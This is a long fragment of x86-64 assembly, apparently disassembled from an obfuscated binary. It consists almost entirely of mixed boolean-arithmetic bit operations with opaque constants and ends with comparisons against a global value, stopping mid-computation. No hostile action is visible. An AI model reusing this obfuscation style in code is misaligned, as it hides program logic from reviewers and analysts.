and ebx, 0x505dbb25
or ebx, esi
mov r15d, ebx
xor r15d, 0x505dbb25
and r15d, edi
not edi
xor ebx, 0xafa244da
xor edx, 0x9878a32d
xor eax, 0xd6c33b10
and eax, r9d
and r12d, 0x21417695
mov esi, edx
and esi, 0xdebe896a
and ecx, 0x21417695
or ecx, esi
mov esi, eax
and esi, r12d
xor r12d, eax
or r12d, esi
mov eax, r12d
not eax
and eax, ecx
not ecx
and ecx, r12d
or ecx, eax
mov eax, r9d
and eax, edx
xor edx, r9d
or edx, eax
not edx
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov ecx, edi
xor ecx, ebx
and ecx, edi
and ebx, edi
or ebx, r15d
mov eax, ecx
not eax
mov edi, ebx
not edi
mov esi, eax
and esi, 0xd3addbf5
and ecx, 0x2c52240a
or ecx, esi
or eax, edi
and edi, 0xd3addbf5
and ebx, 0x2c52240a
or ebx, edi
xor ebx, ecx
not eax
or eax, ebx
mov ecx, edx
not ecx
and ecx, 0xbc930c9d
and edx, 0x436cf362
or edx, ecx
mov ecx, eax
mov esi, eax
xor esi, 0xbc930c9d
and esi, eax
not eax
and eax, 0x1c8c4d44
and ecx, 0xe373b2bb
or ecx, eax
mov eax, ecx
xor eax, 0xe373b2bb
xor ecx, 0xa01f41d9
and ecx, eax
mov eax, ecx
and eax, esi
xor esi, ecx
or esi, eax
mov eax, edx
not eax
and eax, esi
not esi
and esi, edx
or esi, eax
mov eax, r8d
or eax, r10d
not eax
and r8d, 0x80869bd2
and r14d, 0x7f79642d
or r14d, r8d
and r10d, 0x80869bd2
and r11d, 0x7f79642d
or r11d, r10d
xor r11d, r14d
mov ecx, eax
and ecx, r11d
xor r11d, eax
or r11d, ecx
mov eax, r11d
not eax
and r11d, 0x322ce0bc
and eax, 0xcdd31f43
or eax, r11d
mov r11d, eax
xor r11d, 0x20240020
mov r8d, esi
not r8d
xor eax, 0xcdd31f43
or esi, 0xd388e7df
mov r10d, esi
not r10d
mov r9d, eax
mov ebx, r8d
and ebx, eax
xor eax, r8d
or r8d, 0x2c771820
mov edi, r8d
not edi
or r11d, 0xd388e7df
mov ecx, r11d
not ecx
or r9d, 0x2c771820
mov edx, r9d
not edx
and esi, 0x77a1e769
and r10d, 0x8561800
or r10d, esi
and r8d, 0x77a1e769
and edi, 0x80080096
or edi, r8d
xor edi, r10d
and r11d, 0x6ce83cdb
and ecx, 0x170020
or ecx, r11d
and r9d, 0x6ce83cdb
and edx, 0x9300c304
or edx, r9d
xor edx, ecx
mov ecx, edi
not ecx
and ecx, 0x26af6ae1
and edi, 0xd950951e
or edi, ecx
mov ecx, edx
not ecx
and ecx, 0x26af6ae1
and edx, 0xd950951e
or edx, ecx
xor edx, edi
or eax, ebx
not eax
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ebx, eax
not ebx
mov ecx, eax
mov edx, ebx
and edx, 0x7f67b715
and eax, 0x809848ea
or eax, edx
not eax
or eax, ebx
and ebx, 0x48840b12
and ecx, 0xb77bf4ed
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xcbf81257
and ecx, 0x3407eda8
or ecx, edx
mov edx, ecx
xor edx, 0x30820680
xor ecx, 0x2581140
and ecx, 0x4e59f17a
and edx, 0xb1a60e85
or edx, ecx
mov ecx, edx
xor ecx, 0x605
xor edx, 0x4240b110
and edx, 0x7366b110
and ecx, 0xc010605
or ecx, edx
mov edx, ecx
xor edx, 0xc010605
xor ecx, 0xf3fef9fa
mov ebx, eax
not ebx
and ebx, ecx
mov ecx, edx
xor ecx, eax
and ecx, edx
and eax, edx
or eax, ebx
mov esi, ecx
not esi
mov ebx, eax
not ebx
mov edi, esi
and edi, 0x5ad80a5b
and ecx, 0x2527b504
or ecx, edi
or esi, ebx
and ebx, 0x5ad80a5b
and eax, 0xa527f5a4
or eax, ebx
xor eax, ecx
not esi
or esi, eax
mov r8d, esi
not r8d
mov ecx, r8d
and ecx, 0x27257fdb
mov eax, esi
and eax, 0xd8da8024
or eax, ecx
mov ecx, eax
xor ecx, 0x520000
xor eax, 0x6054393
mov edx, esi
xor edx, 0x6d7c393
and edx, esi
or eax, 0xf9283c6c
mov ebx, edx
not ebx
mov edi, eax
and edi, 0x9589d9d7
and ecx, 0x2560200
or ecx, edi
or eax, ebx
and ebx, 0x9589d9d7
and edx, 0x6a762628
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x6d7c392
and eax, 0xf9283c6d
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x6e28d08d
and ecx, 0x91d72f72
or ecx, edx
mov edx, esi
and edx, 0x6e28d08d
mov ebx, r8d
and ebx, 0x91d72f72
or ebx, edx
xor ebx, ecx
or eax, esi
not eax
or eax, ebx
mov ecx, eax
not ecx
and ecx, 0x4549bf7b
and eax, 0xbab64084
or eax, ecx
mov r12d, eax
xor r12d, 0xbab64084
mov ecx, r8d
and ecx, 0x8305200
mov edx, esi
and edx, 0x15022030
or edx, ecx
xor edx, 0x15022030
mov ecx, esi
xor ecx, 0x1d327230
and ecx, esi
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xe2cd8dcf
and ecx, 0x1d327230
or ecx, edx
mov ebx, ecx
not ebx
and ecx, 0xacc91814
and ebx, 0x209
or ebx, ecx
mov edx, ebx
xor edx, 0x209
xor ebx, 0xecd365e0
mov ecx, r8d
and ecx, 0xacc91a1d
and esi, 0x5336e5e2
or esi, ecx
xor r8d, esi
and r8d, esi
mov ecx, r8d
not ecx
mov edi, edx
xor edi, ecx
and edi, edx
and ebx, 0xecd367e8
and edx, 0x81815
or edx, ebx
and ecx, 0xecd367e8
and r8d, 0x132c9817
or r8d, ecx
xor r8d, edx
mov edx, edi
not edx
mov ecx, r8d
not ecx
mov ebx, edx
and ebx, 0xea6c435a
and edi, 0x4811805
or edi, ebx
or edx, ecx
and ecx, 0xea6c435a
and r8d, 0x1593bca5
or r8d, ecx
xor r8d, edi
not edx
or edx, r8d
mov edi, edx
xor edi, 0x5336e5e3
and edi, edx
not edx
and edx, 0x5336e5e3
mov ebx, edx
and ebx, edi
xor edi, edx
or edi, ebx
xor eax, 0x4549bf7b
mov edx, eax
and edx, 0x90630149
mov ebx, r12d
and ebx, 0x26844610
or ebx, edx
xor ebx, 0x26844610
mov r11d, r12d
and r11d, 0x4918b8a6
or r11d, ebx
mov edx, r11d
not edx
and edx, 0x2ff549d1
and r11d, 0xd00ab62e
or r11d, edx
mov r10d, r11d
xor r10d, 0x66edf177
mov r15d, edi
not r15d
mov edx, r15d
or edx, 0xe61a6068
mov r14d, edx
not r14d
mov ecx, edi
or ecx, 0x8c09a16
and ecx, 0x8d2ba16
mov ebx, r15d
and ebx, 0xe6084068
or ebx, ecx
and edx, 0x8d2ba16
and r14d, 0x11250581
or r14d, edx
xor r14d, ebx
mov ecx, r14d
not ecx
and ecx, 0x3abb6271
and r14d, 0xc5449d8e
or r14d, ecx
mov r8d, r14d
xor r8d, 0x235efde6
xor r11d, 0x99120e88
mov ecx, r11d
and ecx, 0x47cf9fdb
mov edx, r10d
and edx, 0xb8306024
or edx, ecx
mov ecx, edx
xor ecx, 0x30204000
and ecx, 0x31265b0b
xor edx, 0x89163b2f
or edx, ecx
mov esi, edx
not esi
and eax, 0x80c7cb70
and r12d, 0x7f38348f
or r12d, eax
mov eax, r12d
xor eax, 0x4e182484
and eax, 0xced9a4f4
xor r12d, 0xb1e1907b
or r12d, eax
mov eax, r12d
not eax
and eax, 0x15195729
and r12d, 0xeae6a8d6
or r12d, eax
mov r9d, r14d
xor r9d, 0xdca10219
mov eax, r9d
and eax, 0x3b83f335
mov ecx, r8d
and ecx, 0xc47c0cca
or ecx, eax
mov r13d, ecx
xor r13d, 0xc47c0cca
xor ecx, 0x1003e011
and ecx, 0x9053ec99
mov eax, r13d
and eax, 0x6fac1366
or eax, ecx
mov ebx, r12d
xor ebx, 0x82402046
xor r12d, 0x15195729
xor eax, 0xa175b792
and r13d, 0x31265b0b
or r13d, eax
mov eax, r13d
not eax
and eax, 0x3b0f2f3
and r13d, 0xfc4f0d0c
or r13d, eax
mov eax, r15d
and eax, 0xced9a4f4
and edi, 0x31265b0b
or edi, eax
xor r15d, edi
and r15d, edi
mov eax, edx
and eax, 0xb96897c2
and esi, 0x4697683d
or esi, eax
mov ecx, esi
xor ecx, 0x4697683d
mov eax, r12d
and eax, 0x6cafc898
and ebx, 0x93503767
or ebx, eax
xor esi, 0x2a64b82e
and esi, ecx
mov edi, esi
not edi
mov eax, edi
and eax, 0xebf6b996
and esi, 0x14094669
or esi, eax
or edx, 0x930c2fec
mov eax, edx
not eax
or edi, edx
and edx, 0xebf6b996
and eax, 0x4014001
or eax, edx
xor eax, esi
mov esi, ebx
xor esi, 0x93503767
xor ebx, 0xc0888
or ebx, 0x6cf3d013
not edi
or edi, eax
mov eax, ebx
not eax
or r12d, 0x930c2fec
and ebx, 0xabef5f46
and eax, 0x100020a8
or eax, ebx
mov edx, r12d
not edx
and r12d, 0xabef5f46
and edx, 0x44108011
or edx, r12d
xor edx, eax
mov eax, edi
not eax
and eax, edx
not edx
and edx, edi
or edx, eax
mov eax, ecx
and eax, esi
xor esi, ecx
or esi, eax
mov eax, esi
not eax
and eax, 0xf50ef2d1
and esi, 0xaf10d2e
or esi, eax
xor esi, 0xaf10d2e
mov eax, edx
and eax, esi
xor esi, edx
or esi, eax
mov edi, r13d
xor edi, 0x3b0f2f3
mov r12d, r15d
not r12d
mov eax, r12d
and eax, 0xba2f2052
and r15d, 0x45d0dfad
or r15d, eax
mov ecx, r15d
xor ecx, 0x45d0dfad
xor r13d, 0x23e111e0
and r13d, edi
mov ebx, r13d
not ebx
mov eax, ebx
and eax, 0xde5cb40d
and r13d, 0x21a34bf2
or r13d, eax
mov eax, edi
and eax, ecx
xor ecx, edi
or edi, 0xdfae1cec
mov edx, edi
not edx
or ebx, edi
and edi, 0xde5cb40d
and edx, 0x20014312
or edx, edi
xor edx, r13d
xor r15d, 0x9a2e0040
or r15d, 0x2051e313
not ebx
or ebx, edx
mov edx, r15d
not edx
or r12d, 0xdfae1cec
and r15d, 0xecd78ada
and edx, 0x13281424
or edx, r15d
mov edi, r12d
not edi
and r12d, 0xecd78ada
and edi, 0x6101
or edi, r12d
xor edi, edx
mov edx, ebx
not edx
and edx, edi
not edi
and edi, ebx
or edi, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, edi
not edx
mov ebx, edx
and ebx, 0x6115dcab
and edi, 0x9eea2354
or edi, ebx
or edx, ecx
and ecx, 0x6115dcab
and eax, 0x9eea2354
or eax, ecx
xor eax, edi
not edx
or edx, eax
mov ecx, esi
mov ebx, esi
xor ebx, 0x54fe468a
and ebx, esi
not esi
and esi, 0x7898c3bb
and ecx, 0x87673c44
or ecx, esi
mov eax, ecx
xor eax, 0x20000
xor ecx, 0x5098428a
mov esi, edx
not esi
or edx, 0xab01b975
mov r12d, edx
not r12d
or esi, 0x54fe468a
or ecx, 0xab01b975
mov edi, ecx
and edi, 0x6e64ed58
and eax, 0x109a0282
or eax, edi
mov edi, ebx
not edi
or ecx, edi
and edi, 0x6e64ed58
and ebx, 0x919b12a7
or ebx, edi
mov r15d, esi
not r15d
xor ebx, eax
not ecx
or ecx, ebx
and edx, 0xd8ea6568
and r12d, 0x4140282
or r12d, edx
and esi, 0xd8ea6568
and r15d, 0x23019815
or r15d, esi
xor r15d, r12d
mov eax, ecx
not eax
and eax, r15d
not r15d
and r15d, ecx
or r15d, eax
and r11d, 0x65d71358
mov ecx, r10d
and ecx, 0x9a28eca7
or ecx, r11d
mov edx, ecx
xor edx, 0x9a28eca7
xor ecx, 0x65d71358
mov eax, edx
and eax, 0x1b9b3262
and r10d, 0xe464cd9d
or r10d, eax
xor r14d, 0x38c5cf84
mov eax, r14d
and eax, r9d
and r14d, r8d
mov ebx, eax
not ebx
mov edi, r14d
not edi
mov esi, ebx
and esi, 0x646772d3
and eax, 0x9b988d2c
or eax, esi
or ebx, edi
and edi, 0x646772d3
and r14d, 0x9b988d2c
or r14d, edi
xor r14d, eax
not ebx
or ebx, r14d
mov eax, r10d
not eax
and eax, 0xa9870e1a
and r10d, 0x5678f1e5
or r10d, eax
mov eax, ebx
not eax
and eax, 0xa9870e1a
and ebx, 0x5678f1e5
or ebx, eax
xor ebx, r10d
mov eax, ecx
and eax, 0xf4721005
and edx, 0xb8deffa
or edx, eax
or ecx, r8d
and r8d, 0xf4721005
and r9d, 0xb8deffa
or r9d, r8d
xor r9d, edx
not ecx
or ecx, r9d
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x63a4b72c
and eax, 0x9c5b48d3
or eax, edi
or ecx, ebx
and ebx, 0x63a4b72c
and edx, 0x9c5b48d3
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x5f237fac
and ecx, 0xa0dc8053
or ecx, eax
mov eax, ecx
xor eax, 0x804c0002
xor ecx, 0xa22042c
and ecx, 0x2ab2847d
and eax, 0xd54d7b82
or eax, ecx
mov ecx, eax
xor ecx, 0x280847c
xor eax, 0xc0093a02
and eax, 0xe83b3a03
and ecx, 0x17c4c5fc
or ecx, eax
mov eax, ecx
xor eax, 0x17c4c5fc
xor ecx, 0xe83b3a03
mov edi, r15d
not edi
and eax, edi
or edi, ecx
mov edx, edi
not edx
and ecx, r15d
or ecx, eax
mov eax, ecx
not eax
mov ebx, edi
and ebx, 0x654f0565
and edx, 0x9ab0fa9a
or edx, ebx
or edi, eax
and eax, 0x654f0565
and ecx, 0x9ab0fa9a
or ecx, eax
xor ecx, edx
not edi
or edi, ecx
mov r8d, edi
not r8d
mov eax, r8d
and eax, 0x80edfb6d
mov ecx, edi
and ecx, 0x7f120492
or ecx, eax
mov eax, ecx
xor eax, 0x36020480
xor ecx, 0xe0f948
and eax, 0xb60f06a5
and ecx, 0x49f0f95a
or ecx, eax
mov eax, ecx
xor eax, 0x4170a05a
xor ecx, 0xb60f06a5
mov ebx, ecx
and ebx, 0x8835f21
and eax, 0xf77ca0de
or eax, ebx
mov r9d, eax
xor r9d, 0xf77ca0de
mov edx, eax
xor edx, 0x1c34aeff
and edx, r9d
or ecx, 0x14b7f1de
mov ebx, ecx
not ebx
mov esi, edx
not esi
mov r10d, esi
and r10d, 0xed462195
and edx, 0x12b9de6a
or edx, r10d
or esi, ecx
and ecx, 0xed462195
and ebx, 0x2080e20
or ebx, ecx
xor ebx, edx
not esi
or esi, ebx
mov ecx, esi
not ecx
and ecx, 0xaba287d3
and esi, 0x545d782c
or esi, ecx
xor esi, 0xbf15760d
xor eax, 0x8835f21
or eax, r9d
not eax
mov ecx, esi
and ecx, eax
xor eax, esi
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xda04043c
mov edx, eax
and edx, 0x1080302
or edx, ecx
xor edx, 0x1080302
and eax, 0x24f3f8c1
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x24f3f8c1
and eax, 0xdb0c073e
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x9f159db7
and edx, eax
not eax
and eax, 0x30722a1
and ecx, 0xfcf8dd5e
or ecx, eax
mov r9d, ecx
xor r9d, 0xfcf8dd5e
mov ebx, ecx
xor ebx, 0x9c12bf16
and ebx, r9d
mov eax, ebx
not eax
mov esi, edx
not esi
mov r10d, eax
and r10d, 0x1ad02c4d
and ebx, 0xe52fd3b2
or ebx, r10d
or eax, esi
and esi, 0x1ad02c4d
and edx, 0xe52fd3b2
or edx, esi
xor edx, ebx
not eax
or eax, edx
mov edx, eax
and edx, 0x3a7ebeb0
not eax
and eax, 0xc581414f
or eax, edx
and r9d, 0xa56b2307
xor ecx, 0x5993fe59
or ecx, r9d
mov edx, ecx
not edx
and edx, 0xd1cb38ab
and ecx, 0x2e34c754
or ecx, edx
mov edx, ecx
xor edx, 0x8344454
xor ecx, 0xd1cb38ab
mov esi, eax
not esi
mov ebx, esi
and ebx, 0xa782bba8
and eax, 0x587d4457
or eax, ebx
or esi, ecx
and ecx, 0xa782bba8
and edx, 0x587d4457
or edx, ecx
xor edx, eax
not esi
or esi, edx
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x127d2dac
and eax, esi
and esi, 0xed82d253
or esi, ecx
mov ecx, esi
xor ecx, 0xcc80d210
xor esi, 0x127d2dac
mov edx, eax
not edx
mov ebx, esi
and ebx, 0x331b284f
and ecx, 0xcce4d7b0
or ecx, ebx
or esi, edx
and edx, 0x331b284f
and eax, 0xcce4d7b0
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov r10d, esi
not r10d
mov eax, r8d
and eax, 0x516a1c0a
and r8d, edi
and edi, 0xae95e3f5
or edi, eax
mov eax, edi
xor eax, 0xaa85e3d5
xor edi, 0x516a1c0a
mov ecx, r8d
not ecx
mov edx, edi
and edx, 0x43a0c28
and eax, 0xfbc5f3d7
or eax, edx
or edi, ecx
and ecx, 0x43a0c28
and r8d, 0xfbc5f3d7
or r8d, ecx
xor r8d, eax
not edi
or edi, r8d
mov eax, edi
xor eax, 0x5a94dcf8
and eax, edi
mov ecx, edi
not ecx
and ecx, 0x12693eee
and edi, 0xed96c111
or edi, ecx
xor edi, 0xb7021de9
mov ecx, eax
and ecx, edi
xor edi, eax
or edi, ecx
mov eax, edi
not eax
and eax, 0x618c9ec7
and edi, 0x9e736138
or edi, eax
mov eax, edi
xor eax, 0x1e202020
xor edi, 0x41840201
and edi, 0xc1d74319
and eax, 0x3e28bce6
or eax, edi
mov ecx, eax
xor ecx, 0xc00118
xor eax, 0x2083c84
and ecx, 0x3ce0817a
and eax, 0xc31f7e85
or eax, ecx
mov edi, eax
xor edi, 0x3c00003a
xor eax, 0x43134484
and eax, 0x43f3c5c4
and edi, 0xbc0c3a3b
or edi, eax
mov edx, edi
xor edx, 0xbc0c3a3b
mov eax, esi
and eax, 0x76363f8e
mov r14d, r10d
and r14d, 0x89c9c071
or r14d, eax
mov r8d, r14d
xor r8d, 0x76363f8e
xor edi, 0x43f3c5c4
mov eax, edi
and eax, 0xad9339f3
mov r12d, edx
and r12d, 0x526cc60c
or r12d, eax
mov eax, r12d
not eax
and eax, 0x526cc60c
and r12d, 0xad9339f3
or r12d, eax
mov r9d, r14d
xor r9d, 0x89c9c071
mov eax, r9d
and eax, 0x5efd10fc
mov ebx, r8d
and ebx, 0xa102ef03
or ebx, eax
not ebx
or ebx, r9d
mov r15d, ebx
not r15d
and r10d, 0x2f709d91
and esi, 0xd08f626e
or esi, r10d
mov eax, esi
xor eax, 0x80026202
and eax, 0xa102ef03
xor esi, 0x718d8d6d
or esi, eax
mov eax, esi
not eax
and eax, 0xdccd1afb
and esi, 0x2332e504
or esi, eax
mov r11d, r12d
not r11d
mov eax, r11d
and eax, 0x654eb90a
mov ecx, r12d
and ecx, 0x9ab146f5
or ecx, eax
mov eax, edi
and eax, 0xa102ef03
and edx, 0x5efd10fc
or edx, eax
mov eax, esi
xor eax, 0x2332e504
xor ecx, 0xc44c5609
or ecx, r11d
xor edi, edx
and edi, edx
xor esi, 0xdccd1afb
and eax, ebx
or ebx, esi
not ebx
and esi, r15d
or esi, eax
mov eax, ebx
and eax, esi
xor esi, ebx
or esi, eax
mov ebx, edi
not ebx
mov eax, ecx
mov edx, ebx
mov r10d, ecx
and r10d, ebx
xor ebx, ecx
not ecx
or ecx, 0xea5d385b
and edx, 0x15a2c7a4
and edi, 0xea5d385b
or edi, edx
mov edx, ecx
not edx
or eax, 0x15a2c7a4
and ecx, 0x61f21ae6
and edx, 0x1400c500
or edx, ecx
mov ecx, eax
not ecx
and eax, 0x61f21ae6
and ecx, 0x8a0d2019
or ecx, eax
xor ecx, edx
mov edx, ecx
not edx
and edx, edi
not edi
and edi, ecx
xor r14d, 0x3f43c52f
and r14d, r8d
or edi, edx
or ebx, r10d
mov eax, ebx
not eax
and eax, 0x6a5abc5b
and ebx, 0x95a543a4
or ebx, eax
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x4c86b1f2
and edi, 0xb3794e0d
or edi, ecx
mov ecx, ebx
xor ecx, 0x91214204
xor ebx, 0x6a5abc5b
or eax, ebx
and ebx, 0x4c86b1f2
and ecx, 0xb3794e0d
or ecx, ebx
xor ecx, edi
not eax
or eax, ecx
mov ecx, esi
not ecx
and ecx, 0x1e78f0be
and esi, 0xe1870f41
or esi, ecx
mov edx, eax
xor edx, 0x1e78f0be
and edx, eax
not eax
and eax, 0x1e78f0be
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, esi
not eax
and eax, 0x755dc911
and esi, 0x8aa236ee
or esi, eax
mov eax, edx
not eax
and eax, 0x755dc911
and edx, 0x8aa236ee
or edx, eax
xor edx, esi
and r9d, 0x567a2f77
and r8d, 0xa985d088
or r8d, r9d
mov r10d, r8d
xor r10d, 0xa985d088
mov eax, r11d
and eax, 0x98a6e311
and r12d, 0x67591cee
or r12d, eax
mov eax, r12d
xor eax, 0x67591cee
mov ecx, r8d
xor ecx, 0x1f0fd5d6
and ecx, r10d
mov edi, ecx
not edi
mov esi, edi
and esi, 0x74f116b6
and ecx, 0x8b0ee949
or ecx, esi
mov esi, r14d
not esi
or edi, esi
and esi, 0x74f116b6
and r14d, 0x8b0ee949
or r14d, esi
mov esi, r12d
xor esi, 0xd1d319b0
and esi, eax
or r11d, 0x4975faa1
xor r14d, ecx
not edi
or edi, r14d
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0x10838c4b
and esi, 0xef7c73b4
or esi, ebx
mov ebx, r11d
not ebx
or ecx, r11d
and r11d, 0x10838c4b
and ebx, 0xa6080114
or ebx, r11d
xor ebx, esi
mov r9d, dword [0x1400508cc]
not ecx
or ecx, ebx
mov ebx, edi
not ebx
and ebx, ecx
not ecx
and ecx, edi
or ecx, ebx
xor r8d, 0x567a2f77
xor r12d, 0x98a6e311
mov ebx, r8d
and ebx, 0x53ce1d1a
and r10d, 0xac31e2e5
or r10d, ebx
or r8d, r12d
and r12d, 0x53ce1d1a
and eax, 0xac31e2e5
or eax, r12d
xor eax, r10d
not r8d
or r8d, eax
mov ebx, r8d
not ebx
mov eax, ecx
not eax
mov edi, eax
and edi, 0x26ba7bcd
and ecx, 0xd9458432
or ecx, edi
or eax, r8d
and r8d, 0x26ba7bcd
and ebx, 0xd9458432
or ebx, r8d
xor ebx, ecx
not eax
or eax, ebx
mov ecx, eax
not ecx
and ecx, 0x1e4af084
and eax, 0xe1b50f7b
or eax, ecx
mov r8d, eax
xor r8d, 0xe1b50f7b
mov r11d, eax
xor r11d, 0x1e4af084
mov esi, edx
not esi
mov ecx, esi
and ecx, 0x37c3c57b
and edx, 0xc83c3a84
or edx, ecx
mov r10d, edx
xor r10d, 0x40081884
xor edx, 0x37c3c57b
mov edi, edx
or edi, 0xd1a0f4e3
mov ebx, edi
not ebx
or esi, 0x2e5f0b1c
and edi, 0x9f10832c
and ebx, 0x204f0810
or ebx, edi
mov ecx, esi
not ecx
and esi, 0x9f10832c
and ecx, 0x40a074c3
or ecx, esi
mov esi, r11d
and esi, 0x2e5f0b1c
xor eax, 0xcfea0467
and eax, r8d
xor ecx, ebx
mov edi, esi
and edi, eax
xor eax, esi
or eax, edi
mov esi, ecx
not esi
and esi, 0x91d8ff2f
and ecx, 0x6e2700d0
or ecx, esi
mov esi, eax
not esi
and esi, 0x91d8ff2f
and eax, 0x6e2700d0
or eax, esi
xor eax, ecx
mov ecx, edx
and ecx, 0xa8b6261a
and r10d, 0x5749d9e5
or r10d, ecx
or edx, r8d
and r8d, 0xa8b6261a
and r11d, 0x5749d9e5
or r11d, r8d
xor r11d, r10d
not edx
or edx, r11d
not edx
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x923f50a9
mov edi, edx
xor edi, 0x923f50a9
and edi, edx
mov ebx, ecx
and ebx, edi
xor edi, ecx
or edi, ebx
mov ecx, edi
not ecx
and ecx, 0x6dc0af56
and edi, 0x923f50a9
or edi, ecx
mov ecx, edi
not ecx
and ecx, 0xa56b2307
xor edi, 0x5a94dcf8
or edi, ecx
and eax, 0xd9e19aa7
and edx, 0x261e6558
or edx, eax
mov ebx, edx
xor ebx, 0x261e6558
xor edx, 0xc8600a85
and edx, 0xcc726b8d
mov eax, ebx
and eax, 0x338d9472
or eax, edx
xor eax, 0x96e6b775
and ebx, 0x5a94dcf8
or ebx, eax
mov eax, ebx
not eax
and eax, 0x6fc0afd0
and ebx, 0x903f502f
or ebx, eax
mov ecx, ebx
xor ecx, 0x903f502f
mov eax, ebx
xor eax, 0x8085d0
and eax, 0x809285d8
xor ebx, 0xc5034aa9
and ebx, ecx
and ecx, 0x7f6d7a27
or ecx, eax
xor ecx, 0x7f6d7a27
mov eax, edi
xor eax, 0xaac3e579
and eax, edi
mov r8d, ecx
mov esi, edi
and esi, ecx
xor ecx, edi
not edi
and edi, 0xaac3e579
and r8d, 0x553c1a86
mov edx, eax
and edx, edi
xor edi, eax
or edi, edx
mov eax, r8d
and eax, ebx
xor ebx, r8d
or ebx, eax
mov eax, edi
not eax
and eax, 0xa0906b73
and edi, 0x5f6f948c
or edi, eax
mov eax, ebx
not eax
and eax, 0xa0906b73
and ebx, 0x5f6f948c
or ebx, eax
xor ebx, edi
or ecx, esi
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov r8d, ecx
not r8d
mov eax, ecx
and eax, 0x681e0c6f
mov edx, r8d
and edx, 0x97e1f390
or edx, eax
mov esi, edx
xor esi, 0x97e1f390
xor edx, 0x400c0803
and edx, 0x520d3a13
mov edi, esi
and edi, 0xadf2c5ec
or edi, edx
mov edx, edi
xor edx, 0xadf2c5ec
xor edi, 0x52041010
and edi, 0xdb349514
mov eax, edx
and eax, 0x24cb6aeb
or eax, edi
xor eax, 0x24cb6aeb
or eax, edx
and edx, 0xc599086a
and esi, 0x3a66f795
or esi, edx
mov edx, esi
not edx
and edx, 0x774f993a
and esi, 0x88b066c5
or esi, edx
mov edx, esi
xor edx, 0x82d61100
mov edi, eax
not edi
and edi, 0x2b297950
and eax, 0xd4d686af
or eax, edi
mov edi, eax
xor edi, 0xc4d60003
xor esi, 0x4d296eaf
xor eax, 0x2b297950
mov ebx, esi
and ebx, 0x3108cefc
and edx, 0xcef73103
or edx, ebx
or esi, eax
and eax, 0x3108cefc
and edi, 0xcef73103
or edi, eax
xor edi, edx
not esi
or esi, edi
mov eax, r8d
and eax, 0xe274b622
and r8d, ecx
and ecx, 0x1d8b49dd
or ecx, eax
xor ecx, 0x1d8b49dd
mov eax, ecx
and eax, r8d
xor ecx, r8d
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
or edx, esi
not esi
not edx
and eax, 0x1fdb55bf
and ecx, 0xe024aa40
or ecx, eax
xor ecx, 0x1fdb55bf
or ecx, esi
not ecx
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x10aab086
and ecx, 0xef554f79
or ecx, eax
xor ecx, 0xef554f79
mov eax, ecx
and eax, esi
xor ecx, esi
or ecx, eax
cmp ecx, 0xffffffff
setne r12b
sete dil
cmp r9d, 9
setg r11b
cmp r9d, 0xa
setl r14b
mov byte [rbp - 0x28], r14b
mov r13d, edi
xor r13b, r12b
mov ecx, r13d
xor cl, 1
mov eax, ecx
and al, r13b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov edx, eax
xor dl, dil
xor dl, 1
mov ecx, r12d
or cl, al
xor cl, 1
or cl, dl
mov r8d, ecx
xor r8b, 1
mov edx, eax
xor dl, r12b
and dl, al
or al, dil
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov r9d, eax
xor r9b, 1
mov r10d, eax
and r10b, r9b
mov ebx, r10d
xor r10b, al
or al, r8b
and r8b, cl
xor r8b, 1
mov edx, r8d
xor dl, cl
or r8b, cl
xor r8b, 1
or r8b, dl
xor bl, 1
or bl, r9b
xor bl, 1
or bl, r10b
mov edx, r8d
xor dl, 1
and dl, bl
xor bl, 1
and bl, r8b
or bl, dl
xor r9b, cl
xor al, 1
or al, r9b
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov esi, eax
xor sil, 1
mov byte [rbp - 0x30], r11b
mov ecx, r11d
xor cl, r14b
and cl, r11b
mov edx, ecx
xor dl, 1
or dl, cl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov r15d, edx
xor r15b, 1
and r15b, dl
xor r15b, 1
mov ecx, edx
xor cl, r15b
or r15b, dl
xor r15b, 1
or r15b, cl
mov ecx, r15d
xor cl, 1
and r15b, cl
mov edx, ecx
and dl, r15b
xor r15b, cl
or r15b, dl
mov ecx, r15d
xor cl, 1
and r15b, cl
mov edx, ecx
and dl, r15b
xor r15b, cl
or r15b, dl
mov r14d, esi
and r14b, al
mov ebx, r14d
xor bl, 1
mov r10d, eax
xor r10b, bl
or bl, al
xor bl, 1
or r10b, bl
mov byte [rbp - 0x34], r10b
mov ecx, r10d
xor cl, 1
mov byte [rbp - 0x38], cl
and r10b, cl
mov ecx, eax
xor cl, sil
and cl, al
mov r11d, r10d
xor r11b, 1
mov eax, ecx
xor al, 1
and cl, al
mov r9d, eax
and r9b, cl
xor cl, al
mov r8d, r11d
and r8b, al
xor al, r11b
mov edx, r11d
and r11b, r10b
xor dl, r11b
xor r11b, 1
or r11b, r10b
xor r11b, 1
or r11b, dl
or cl, r9b
mov edx, r11d
xor dl, 1
